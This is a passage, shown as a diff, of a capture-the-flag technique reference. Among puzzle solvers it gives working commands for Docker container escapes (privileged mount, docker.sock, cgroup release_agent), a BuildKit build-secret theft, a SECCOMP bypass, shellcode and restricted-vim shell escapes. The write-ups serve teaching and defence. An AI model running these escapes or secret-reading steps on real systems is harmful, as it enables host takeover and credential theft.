394
|
+
# execve("/bin/sh", ["/bin/sh", "-c", "cat /flag*"], NULL)
|
|
395
|
+
shellcode = asm(shellcraft.execve("/bin/sh", ["/bin/sh", "-c", "cat /flag*"]))
|
|
396
|
+
```
|
|
397
|
+
|
|
398
|
+
**Key insight:** GCC's `-static -nostartfiles -nostdlib` produces a minimal binary with deterministic addresses (no ASLR). Each emoji function lands at a predictable address (0x401000, 0x40101c, ...). The `add eax, imm32` encoding is the key primitive — any 4-byte gadget sequence can be embedded as an arithmetic constant in a valid C expression.
|
|
399
|
+
|
|
400
|
+
**Compilation flags to watch for:** `-nostartfiles -nostdlib -static` indicates no libc, no CRT, deterministic layout — ideal for address-hardcoded exploits.
|
|
401
|
+
|
|
402
|
+
---
|
|
403
|
+
|
|
404
|
+
## BuildKit Daemon Exploitation for Build Secrets (BSidesSF 2026)
|
|
405
|
+
|
|
406
|
+
**Pattern (builds-as-a-service):** Challenge accepts a Dockerfile and builds it. The build environment uses Docker BuildKit with `--mount=type=secret,id=flag` to inject secrets during build. An exposed BuildKit daemon (tcp://127.0.0.1:1234) allows submitting nested build requests that mount and read the secret.
|
|
407
|
+
|
|
408
|
+
**Attack (two-stage Dockerfile):**
|
|
409
|
+
|
|
410
|
+
Stage 1 — Submit a Dockerfile that installs `buildctl` and triggers a nested build:
|
|
411
|
+
```dockerfile
|
|
412
|
+
FROM moby/buildkit:v0.17.1-rootless
|
|
413
|
+
COPY Dockerfile.exploit /tmp/Dockerfile
|
|
414
|
+
RUN <<'EOF'
|
|
415
|
+
buildctl --addr tcp://127.0.0.1:1234 build \
|
|
416
|
+
--frontend dockerfile.v0 \
|
|
417
|
+
--local context=/tmp --local dockerfile=/tmp \
|
|
418
|
+
--opt filename=Dockerfile.exploit \
|
|
419
|
+
--progress plain 2>&1; false
|
|
420
|
+
EOF
|
|
421
|
+
```
|
|
422
|
+
|
|
423
|
+
Stage 2 — The nested Dockerfile (`Dockerfile.exploit`) mounts and reads the secret:
|
|
424
|
+
```dockerfile
|
|
425
|
+
FROM alpine
|
|
426
|
+
RUN --mount=type=secret,id=flag cat /run/secrets/flag; false
|
|
427
|
+
```
|
|
428
|
+
|
|
429
|
+
**Why `; false`:** Forces a non-zero exit code which causes BuildKit to dump the full build output (including the flag) to stderr. Without it, successful builds may suppress intermediate output.
|
|
430
|
+
|
|
431
|
+
**Key insight:** BuildKit's gRPC API on localhost is unauthenticated by default. Any container running in the same network namespace can submit build requests. The `--mount=type=secret` mechanism is designed for build-time secrets but relies on the daemon being inaccessible — if the daemon is exposed, any build can request any secret.
|
|
432
|
+
|
|
433
|
+
**Alternative approach:** If `buildctl` is unavailable, use the BuildKit gRPC API directly:
|
|
434
|
+
```python
|
|
435
|
+
# buildctl du / buildctl debug workers — enumerate available workers
|
|
436
|
+
# buildctl build --progress=plain — trace build output
|
|
437
|
+
```
|
|
438
|
+
|
|
439
|
+
**When to recognize:** Challenge provides a Dockerfile upload/build service. Look for BuildKit features (`--mount=type=secret`, `BUILDKIT_INLINE_CACHE`, `# syntax=` directives). Check if the build daemon is accessible from within built containers.
|
|
440
|
+
|
|
441
|
+
**Real-world relevance:** This mirrors actual CI/CD supply chain attacks where build systems expose secrets to untrusted build steps. GitHub Actions, GitLab CI, and Jenkins all have similar secret injection mechanisms.
|
|
442
|
+
|
|
443
|
+
**References:** BSidesSF 2026 "builds-as-a-service"
|
|
444
|
+
|
|
445
|
+
---
|
|
446
|
+
|
|
447
|
+
## Docker Container Escape Techniques
|
|
448
|
+
|
|
449
|
+
### Privileged Container Breakout
|
|
450
|
+
|
|
451
|
+
Containers started with `--privileged` have all Linux capabilities and access to host devices. Mount the host filesystem and chroot:
|
|
452
|
+
|
|
453
|
+
```bash
|
|
454
|
+
# List host disks
|
|
455
|
+
fdisk -l
|
|
456
|
+
# Mount host root filesystem
|
|
457
|
+
mkdir /mnt/host && mount /dev/sda1 /mnt/host
|
|
458
|
+
# Chroot to host
|
|
459
|
+
chroot /mnt/host /bin/bash
|
|
460
|
+
# Or via nsenter (requires PID 1 on host)
|
|
461
|
+
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash
|
|
462
|
+
```
|
|
463
|
+
|
|
464
|
+
### Docker Socket Escape
|
|
465
|
+
|
|
466
|
+
If `/var/run/docker.sock` is mounted inside the container, create a new privileged container that mounts the host root:
|
|
467
|
+
|
|
468
|
+
```bash
|
|
469
|
+
# Check for socket
|
|
470
|
+
ls -la /var/run/docker.sock
|
|
471
|
+
# Escape: create privileged container with host root mounted
|
|
472
|
+
docker run -v /:/mnt/host --rm -it alpine chroot /mnt/host /bin/bash
|
|
473
|
+
# Or via API if docker CLI unavailable:
|
|
474
|
+
curl -s --unix-socket /var/run/docker.sock \
|
|
475
|
+
-X POST "http://localhost/containers/create" \
|
|
476
|
+
-H "Content-Type: application/json" \
|
|
477
|
+
-d '{"Image":"alpine","Cmd":["/bin/sh"],"Binds":["/:/mnt"],"Privileged":true}'
|
|
478
|
+
```
|
|
479
|
+
|
|
480
|
+
### Capability-Based Escape (CAP_SYS_ADMIN)
|
|
481
|
+
|
|
482
|
+
With `CAP_SYS_ADMIN`, exploit cgroup release_agent for host command execution:
|
|
483
|
+
|
|
484
|
+
```bash
|
|
485
|
+
# Create cgroup, set release_agent to host command
|
|
486
|
+
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
|
|
487
|
+
mkdir /tmp/cgrp/x
|
|
488
|
+
echo 1 > /tmp/cgrp/x/notify_on_release
|
|
489
|
+
host_path=$(sed -n 's/.*upperdir=\([^,]*\).*/\1/p' /etc/mtab)
|
|
490
|
+
echo "$host_path/cmd" > /tmp/cgrp/release_agent
|
|
491
|
+
echo '#!/bin/sh' > /cmd && echo 'cat /flag > /tmp/cgrp/x/flag' >> /cmd && chmod +x /cmd
|
|
492
|
+
echo $$ > /tmp/cgrp/x/cgroup.procs # Trigger release_agent
|
|
493
|
+
```
|
|
494
|
+
|
|
495
|
+
### Container Information Leakage
|
|
496
|
+
|
|
497
|
+
Even without escape, containers leak host info:
|
|
498
|
+
- `/proc/self/cgroup` -- container ID
|
|
499
|
+
- `/proc/mounts` -- overlayfs `upperdir` reveals host path
|
|
500
|
+
- `/sys/kernel/slab/*/cgroup/` -- other container IDs (cgroup debug info)
|
|
501
|
+
- `/proc/1/environ` -- environment variables from container start
|
|
502
|
+
|
|
503
|
+
**Key insight:** Check `--privileged` flag, mounted sockets (`docker.sock`), and capabilities (`capsh --print`) first. Privileged = instant escape. Socket = create new privileged container. CAP_SYS_ADMIN = cgroup release_agent. Without any of these, focus on information leakage and application-level escapes.
|
|
504
|
+
|
|
505
|
+
---
|
|
506
|
+
|
|
507
|
+
## 15-Puzzle Solvability as Bit Encoder (SharifCTF 8)
|
|
508
|
+
|
|
509
|
+
128 15-puzzles encode 128 bits of a flag. Each bit is 1 if the puzzle is solvable, 0 if not:
|
|
510
|
+
|
|
511
|
+
```python
|
|
512
|
+
def is_solvable(grid):
|
|
513
|
+
# Count inversions (pairs where a > b and a appears before b)
|
|
514
|
+
flat = [x for row in grid for x in row if x != 0]
|
|
515
|
+
inversions = sum(1 for i in range(len(flat))
|
|
516
|
+
for j in range(i+1, len(flat)) if flat[i] > flat[j])
|
|
517
|
+
# For 4x4: solvable iff inversions + blank_row_from_bottom is even
|
|
518
|
+
blank_row = next(i for i, row in enumerate(grid) if 0 in row)
|
|
519
|
+
blank_from_bottom = len(grid) - 1 - blank_row
|
|
520
|
+
return (inversions + blank_from_bottom) % 2 == 0
|
|
521
|
+
|
|
522
|
+
flag_bits = ''.join('1' if is_solvable(puzzle) else '0' for puzzle in puzzles)
|
|
523
|
+
flag = bytes(int(flag_bits[i:i+8], 2) for i in range(0, len(flag_bits), 8))
|
|
524
|
+
```
|
|
525
|
+
|
|
526
|
+
**Key insight:** The 15-puzzle has an invariant: exactly half of all permutations are solvable. A puzzle's solvability depends on the parity of inversions plus the blank tile's row from the bottom. This provides a natural 1-bit encoding per puzzle. When a challenge provides many puzzle instances with no obvious goal, check if solvability encodes binary data. The number of puzzles matching a multiple of 8 strongly suggests bit encoding.
|
|
527
|
+
|
|
528
|
+
---
|
|
529
|
+
|
|
530
|
+
## Taint Analysis Bypass in Custom Language via Type Coercion (PlaidCTF 2018)
|
|
531
|
+
|
|
532
|
+
**Pattern:** In a custom ML-like language with a secrecy/taint system, the if-expression's secrecy depends on the return type, not the condition. Wrap side-effecting code in a function, coerce it to a private type, and use if-statement to select between dummy and leaking functions based on private flag bits. The purity checker doesn't analyze function internals.
|
|
533
|
+
|
|
534
|
+
```ml
|
|
535
|
+
(* pupper variant: if condition's secrecy doesn't propagate to return *)
|
|
536
|
+
let leaked = ref 0 in
|
|
537
|
+
let test = fn (bit : int) =>
|
|
538
|
+
if !secret < bit then ()
|
|
539
|
+
else (secret := !secret - bit; leaked := !leaked + bit)
|
|
540
|
+
in
|
|
541
|
+
test 128; test 64; test 32; test 16; test 8; test 4; test 2; test 1;
|
|
542
|
+
!leaked (* public int that reveals private byte *)
|
|
543
|
+
|
|
544
|
+
(* doggo variant: function coercion hides side effects *)
|
|
545
|
+
let ignore = (fn (bit : int) => () :> private unit) :> private (int -> private unit) in
|
|
546
|
+
let incr = (fn (bit : int) => (leaked := !leaked + bit) :> private unit)
|
|
547
|
+
:> private (int -> private unit) in
|
|
548
|
+
(if !secret < bit then ignore else incr) bit
|
|
549
|
+
(* if returns private function type, but selected function modifies public ref *)
|
|
550
|
+
```
|
|
551
|
+
|
|
552
|
+
**Key insight:** Information flow type systems often check secrecy labels at expression level, not data flow level. If the return type matches but the side effects differ, the type checker is satisfied while private data leaks through public mutable references. Two common bypasses: (1) if-condition secrecy not propagated to branches, (2) function type coercion hiding mutable side effects.
|
|
553
|
+
|
|
554
|
+
---
|
|
555
|
+
|
|
556
|
+
## Shredded Document Pixel-Edge Reassembly Under Time Pressure (Nuit du Hack CTF 2018)
|
|
557
|
+
|
|
558
|
+
**Pattern:** 100 shredded paper strips must be reassembled under 10-second time limit. Detect orientation via token position, compute edge similarity using pixel darkness bitmasks, greedily place strips by minimizing XOR/Hamming distance between adjacent edges, then OCR.
|
|
559
|
+
|
|
560
|
+
```python
|
|
561
|
+
from PIL import Image
|
|
562
|
+
import pytesseract
|
|
563
|
+
|
|
564
|
+
class Strip:
|
|
565
|
+
def __init__(self, img):
|
|
566
|
+
self.img = img
|
|
567
|
+
w, h = img.size
|
|
568
|
+
self.trace_first = 0 # left edge bitmask
|
|
569
|
+
self.trace_last = 0 # right edge bitmask
|
|
570
|
+
for y in range(h):
|
|
571
|
+
# Dark pixel (sum < 765) = bit set at position y
|
|
572
|
+
self.trace_first |= (1 if sum(img.getpixel((0, y))) < 765 else 0) << y
|
|
573
|
+
self.trace_last |= (1 if sum(img.getpixel((w-1, y))) < 765 else 0) << y
|
|
574
|
+
|
|
575
|
+
def edge_distance(strip_a, strip_b):
|
|
576
|
+
"""Hamming distance between right edge of A and left edge of B"""
|
|
577
|
+
return bin(strip_a.trace_last ^ strip_b.trace_first).count('1')
|
|
578
|
+
|
|
579
|
+
# Greedy placement: for each position, pick the strip with minimum edge distance
|
|
580
|
+
```
|
|
581
|
+
|
|
582
|
+
**Key insight:** Shredded document strips share edge pixels at cut boundaries. Encode each strip's left and right edge as binary bitmasks (dark=1, light=0), then use XOR + popcount (Hamming distance) to find the best-matching adjacent strips. Greedy placement with edge distance metric reassembles the document in milliseconds.
|
|
583
|
+
|
|
584
|
+
---
|
|
585
|
+
|
|
586
|
+
## References
|
|
587
|
+
- EHAX 2026 "The Architect's Gambit": Multi-phase AES + HMAC + GF(256) Nim
|
|
588
|
+
- BSidesSF 2026 "wromwarp": Emulator ROM-switching state preservation
|
|
589
|
+
- iCTF 2013: Python marshal code injection, Benford's Law bypass
|
|
590
|
+
- Hack.lu 2015: Parallel connection oracle relay
|
|
591
|
+
- SECCON 2015: Nonogram solver to QR code pipeline
|
|
592
|
+
- Sharif CTF 2016: 100 prisoners problem / cycle-following strategy
|
|
593
|
+
- SharifCTF 8: 15-puzzle solvability as bit encoder
|
|
594
|
+
- Midnight Flag 2026: C code jail escape via emoji identifiers
|
|
595
|
+
- BSidesSF 2026 "builds-as-a-service": BuildKit daemon build secret exploitation
|
|
596
|
+
- SunshineCTF 2016: Levenshtein distance oracle attack
|
|
597
|
+
- PlaidCTF 2018: Taint analysis bypass via type coercion in custom language
|
|
598
|
+
- Nuit du Hack CTF 2018: Shredded document pixel-edge reassembly
|
|
599
|
+
|
|
600
|
+
---
|
|
601
|
+
|
|
602
|
+
## Levenshtein Distance Oracle Attack (SunshineCTF 2016)
|
|
603
|
+
|
|
604
|
+
Oracle responds with edit distance between guess and secret. Attack strategy:
|
|
605
|
+
|
|
606
|
+
1. **Determine length:** Submit empty string, distance = secret length
|
|
607
|
+
2. **Identify present characters:** Submit single repeated character (e.g., "aaaa..."), distance = len - count_of_that_char
|
|
608
|
+
3. **Locate positions:** Binary search -- fill half positions with known-present char, half with known-absent, narrow by distance change
|
|
609
|
+
|
|
610
|
+
```python
|
|
611
|
+
# Determine which chars are present
|
|
612
|
+
for c in string.printable:
|
|
613
|
+
d = oracle(c * length)
|
|
614
|
+
count = length - d # Number of times c appears
|
|
615
|
+
if count > 0:
|
|
616
|
+
chars[c] = count
|
|
617
|
+
```
|
|
618
|
+
|
|
619
|
+
**Key insight:** Edit distance as a side channel. Binary search locates character positions from Levenshtein feedback in O(n log n) queries.
|
|
620
|
+
|
|
621
|
+
---
|
|
622
|
+
|
|
623
|
+
## SECCOMP Bypass via High-Bit File Descriptor Trick (33C3 CTF 2016)
|
|
624
|
+
|
|
625
|
+
**Pattern (tea):** SECCOMP filter blocks `close(fd)` for fd values 0, 1, and 2 (stdin/stdout/stderr). Bypass: `close(0x8000000000000002)` passes the 64-bit comparison (not equal to 2) but the kernel truncates the fd argument to 32 bits, actually closing fd 2. This frees fd 2, so the next `open()` returns fd 2. Now `write(2, ...)` writes to the newly opened file instead of stderr, and SECCOMP allows it because fd 2 was never explicitly blocked for write.
|
|
626
|
+
|
|
627
|
+
```c
|
|
628
|
+
// SECCOMP rule: deny close(fd) where fd == 0 || fd == 1 || fd == 2
|
|
629
|
+
// Bypass: close with high-bit set
|
|
630
|
+
close(0x8000000000000002); // SECCOMP sees fd != 2 (64-bit compare) -> ALLOW
|
|
631
|
+
// Kernel: fd = (int)(0x8000000000000002) = 2 -> closes fd 2
|
|
632
|
+
|
|
633
|
+
open("/proc/self/mem", O_WRONLY); // returns fd 2 (lowest available)
|
|
634
|
+
// Now write to /proc/self/mem via fd 2 to modify parent process memory
|
|
635
|
+
```
|
|
636
|
+
|
|
637
|
+
**Key insight:** SECCOMP BPF operates on the raw 64-bit syscall argument, but the kernel's `close()` implementation casts to `int` (32-bit). Setting bit 63 changes the 64-bit value while preserving the 32-bit truncated result. This type/width mismatch between SECCOMP filter and kernel syscall handler is a general bypass pattern — check argument widths for any filtered syscall.
|
|
638
|
+
|
|
639
|
+
---
|
|
640
|
+
|
|
641
|
+
## rvim Jail Escape via Custom vimrc with Python3 Execution (BKP 2017)
|
|
642
|
+
|
|
643
|
+
**Pattern (vimjail):** `rvim` (restricted vim) blocks `:!`, `:shell`, and similar command execution. However, `rvim -u custom_vimrc` loads a user-specified vimrc file that executes before restrictions are fully applied. If `rvim` is run via `sudo -u targetuser`, the vimrc can contain `:python3 import os; os.system("cmd")` to execute commands as the target user.
|
|
644
|
+
|
|
645
|
+
```bash
|
|
646
|
+
# Create malicious vimrc
|
|
647
|
+
cat > /tmp/evil_vimrc << 'EOF'
|
|
648
|
+
:python3 import os; os.system("/home/ctfuser/flagReader /.flag")
|
|
649
|
+
:q!
|
|
650
|
+
EOF
|
|
651
|
+
|
|
652
|
+
# Launch rvim with custom vimrc as target user
|
|
653
|
+
sudo -u secretuser rvim -u /tmp/evil_vimrc /dev/null
|
|
654
|
+
|
|
655
|
+
# Alternative: interactive escape once inside rvim
|
|
656
|
+
:py3 import os; os.system("/bin/bash")
|
|
657
|
+
```
|
|
658
|
+
|
|
659
|
+
**Key insight:** `rvim` restricts shell commands (`:!cmd`) but Python/Lua/Ruby interfaces remain available. The `:python3` or `:py3` command executes arbitrary Python code, including `os.system()`. If vim was compiled with `+python3`, this bypasses all shell restrictions. Check `:version` for `+python3`, `+lua`, or `+ruby` — any scripting interface escapes the jail.
|
|
660
|
+
|
|
661
|
+
---
|
|
662
|
+
|
|
663
|
+
## Restricted vim Escape via CTRL-W F and netrw File Browser (TokyoWesterns 2018)
|
|
664
|
+
|
|
665
|
+
**Pattern:** A vim jail blocks `:`, `Q`, `g`, and scripting interfaces (`:py`, `:lua`, `:ruby`), but leaves normal-mode navigation commands alive. Press `CTRL-W` followed by `F` (capital) — vim splits a new window and opens the netrw file browser on the path under the cursor. From netrw you navigate like a directory listing and read arbitrary files with zero `:` commands.
|
|
666
|
+
|
|
667
|
+
```text
|
|
668
|
+
# Keystrokes (no ex commands required)
|
|
669
|
+
: — blocked
|
|
670
|
+
CTRL-W F — splits window, opens current path as netrw buffer
|
|
671
|
+
j / k — navigate entries
|
|
672
|
+
Enter — read selected file into a new buffer
|
|
673
|
+
|
|
674
|
+
# If you need to run a command and `:` is banned, put the cursor on a keyword
|
|
675
|
+
# such as `ls` and press K — vim opens the man page, then inside the man page
|
|
676
|
+
# you can press `!` and get a shell prompt.
|
|
677
|
+
```
|
|
678
|
+
|
|
679
|
+
**Key insight:** vim's restricted mode only covers `:`-based ex commands; normal-mode file-browser (`netrw`), manual-page lookup (`K`), and help (`<C-w>gF`) interfaces stay wide open. Any binary that enforces "restricted vim" via `:set modifiable`, disabled `:!`, or a blocked command-line is trivially bypassed by one of CTRL-W F, K, or gF. When auditing a vim sandbox, always test these three normal-mode primitives first.
|
|
680
|
+
|
|
681
|
+
**References:** TokyoWesterns CTF 4th 2018 — vimshell, writeup 11269
|
|
682
|
+
|
|
683
|
+
---
|
|
684
|
+
|
|
685
|
+
See [games-and-vms-4.md](games-and-vms-4.md) for 2018-era additions (XSLT VM, JS edge cases, timing oracles, OEIS, QR reassembly, math recurrences, CAPTCHA solvers, esolang polyglots, bytebeat).
|
|
686
|
+
|
|
687
|
+
|
|
688
|
+
See also: [games-and-vms.md](games-and-vms.md) for WASM patching, Roblox place file reversing, PyInstaller extraction, marshal analysis, Python env RCE, Z3 constraint solving, K8s RBAC bypass, floating-point precision exploitation, and custom assembly language sandbox escape.
|
|
689
|
+
|
|
690
|
+
See also: [games-and-vms-2.md](games-and-vms-2.md) for cookie checkpoint brute-forcing, Flask cookie game state leakage, WebSocket game manipulation, server time-only validation bypass, De Bruijn sequences, Brainfuck instrumentation, and WASM memory manipulation.
|